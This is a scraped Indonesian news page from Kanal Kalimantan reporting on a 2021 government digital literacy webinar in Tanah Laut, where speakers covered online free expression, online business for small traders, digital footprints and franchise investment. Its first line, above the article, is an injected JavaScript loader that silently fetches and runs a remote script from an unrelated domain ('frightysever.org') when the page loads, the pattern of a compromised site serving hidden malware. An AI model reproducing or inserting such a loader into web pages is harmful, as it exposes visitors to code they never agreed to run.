(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Laut

Webinar Literasi Digital Tanah Laut : Memahami Makna Bebas Namun Terbatas


KANALKALIMANTAN.COM, PELAIHARI – Perkembangan dunia internet yang semakin pesat bagai dua sisi mata pisau, mempunyai sisi positif apabila dimanfaatkan dengan bijak dan mempunyai sisi negatif jika disalahgunakan.

Menurut data, 29,3% pengguna internet menggunakan internet untuk chatting dan 24,7% berselancar di sosial media. Hal ini menjadi peluang yang besar untuk berbagai informasi menyebar.

Tersebut mengemuka dalam seri Webinar Literasi Digital via Zoom diselenggarakan Kementerian Komunikasi dan Informasi di Kabupaten Tanah Laut pada Rabu (14/7/2021) dimulai pukul 14.00 WITA. Acara yang menjadi program dari visi Joko Widodo ini dipandu oleh Host Shabrina Anwari.

Baca juga: Emak-emak Korban ‘Acil Scoopy Merah’ Labrak ke Mapolsek Banjarbaru Barat

 

Acara ini dibuka secara resmi oleh Bupati Tanah Laut, H Sukamta.

“Sesuai dengan arahan visi presiden, beserta Kemenkominfo dan Siberkreasi. Untuk meningkatkan tingkat kecakapan masyarakat dalam dunia digital. Peta literasi digital yang dirancang adalah digital skill, digital safety, digital ethics, dan digital culture,” ujarnya.


Pemateri pertama, Marezza Putri Anggraeni, seorang dosen dan bisnis konsultan menyampaikan materi bertajuk ‘Memahami Kebebasan Berekspresi dalam Dunia Digital’. Ia menyebutkan sosial media adalah media berekspresi paling populer saat ini.

“Media sosial itu untuk ajang komunikasi dan silaturahmi antar budaya, sharing, pengembangan diri, dan juga membangun profil publik,” ucapnya.

Marezza menjelaskan bahwa bebas dalam mengekspresikan diri ini mengetahui batas-batasan norma dalam pelaksanaannya agar tidak merugikan orang lain.

“Dalam pelaksanaannya, kebebasan berekpresi adalah hak yang harus terpenuhi karena mendapatkan kepuasan diri, menemukan kebenaran, memperkuat kemampuan mengambil keputusan, dan mendukung keseimbangan sosial dari perubahan-perubahan yang terus terjadi,” jelasnya.

Baca juga: Populasi Terus Terancam, Pj Gubernur Resmikan Tempat Penangkaran Hewan Endemik Kalsel

Menurut survei ada beberapa ancaman kebebasan berekspresi di internet yang dirangkum oleh Marezza yaitu 51.4% pidana akibat UU ITE, 26.8% Bully, 7% intimidasi, 6% pembatasan akses yang dapat diblokir, 3.9% cyber crime, 2.8% pelanggaran privasi, dan 2.1% hoax. Panduan yang diberikannya ada 4 :

1. Kendali pengaturan system
2. Kendali oleh pengguna seperti etika
3. Kendali oleh platform seperti takedown dan batasan umur
4. Kendali pemahaman regulasi atau UU

Pemateri kedua, Reno Afrian, ketua HIPMi Hulu Sungai Utara, mensosialisasikan tentang pentingnya bisnis online bagi UMKM.

“E-market itu salah satu solusi di saat pandemi bagi semua pedagang,” ujarnya.
Reno juga memaparkan terkait alasan harus digunakannya media online untuk berdagang.

Hal ini karena pertumbuhan internet kian massif, jangkauan pasar lebih luas, waktu yang tidak terbatas, pendapatan semakin meningkat, biaya operasional lebih mudah, dan meminimalisir kehilangan market.

Sementara pemateri ketiga, Rana Ryandra, seorang CEO dari Bicara Project memaparkan materi terkait ‘Jejak Digital. Rana memaparkan, 1 tahun terakhir menurut survei media sosial yang sering dipakai itu ada Youtube, WhatsApp, dan Instagram.

Baca juga: BREAKING NEWS: Pemerintah Larang Shalat Idul Adha di Daerah PPKM Darurat

“Di sini, sosial media sebagai sumber informasi, identitas diri, dan rekam jejak penggunanya,” ujarnya.
“Posting dan konsumsi konten yang informatif dan bermanfaat, utamakan fakta, hindari hoax, SARA, bahkan ujaran kebencian. Bangunlah personal branding yang bagus dan tunjukkan potensi diri. Kemudian tinggalkan postingan atau komentar yang baik,” tipsnya.

Pemateri terakhir, Hendi Setiono, seorang Founder dan CEO Baba Rafi menjelaskan tentang ‘Piliha investasi yang aman dan menguntungkan di masa pandemil’. “Saat pandemi masyarakat hanya memiliki single income, itu juga di-PHK yang artinya pendapatan menurun, hingga akhirnya hidup bergantung tabungan,” ujarnya.

Kemudian, Hendi memberikan informasi kriteria usaha franchise. “Harus terdaftar di HAKI, unik, terbukti untung, punya standar dan system, mudah diajarkan dan diaplikasikan, serta ada dukungan yang berkesinambungan,” ucapnya. (Kanalkalimantan.com/nurul)

Reporter: nurul
Editor: cell


Risa

Recent Posts

Izin Operasional Aeris Hotel Belum Ada, Disporabudpar Banjarbaru Dapati Tamu Nginap

Manajemen Aeris Hotel: Masih Promosi, Ini untuk Mengetahui Dimana Error-nya Layanan Kita Read More

1 jam ago

Jaya Dekati PAN, Upaya Mengulang Koalisi di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Amanat Nasional (PAN) Kota Banjarbaru kedatangan Darmawan Jaya Setiawan, kader… Read More

11 jam ago

Lima Rumah Terbakar di Pekapuran Laut, Motor Matic Ikut Hangus

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Pekapuran B Laut, Kecamatan Banjarmasin Tengah, Kota Banjarmasin dibuat geger… Read More

12 jam ago

Naik Kano di Danau Seran Banjarbaru, Rekomendasi View Spot Foto Estetik

KANALKALIMANTAN.COM, BANJARBARU - Pencinta wisata alam wajib menjajal objek wisata satu ini, yaitu wahana kano… Read More

15 jam ago

Pasangan Calon Belum Pasti, Aditya: Titik Akhirnya SK Partai

KANALKALIMANTAN.COM, BANJARBARU – Aditya Mufti Ariffin menyerahkan formulir pendaftaran sebagai bakal calon (bacalon) Wali Kota… Read More

18 jam ago

Masruri Lepas 25 JCH Kabupaten Banjar yang Tergabung dalam Kloter 10

KANALKALIMANTAN.COM, MARTAPURA - Mewakili Bupati Banjar H Saidi Mansyur, Asisten Pemerintahan dan Kesra H Masruri… Read More

18 jam ago

This website uses cookies.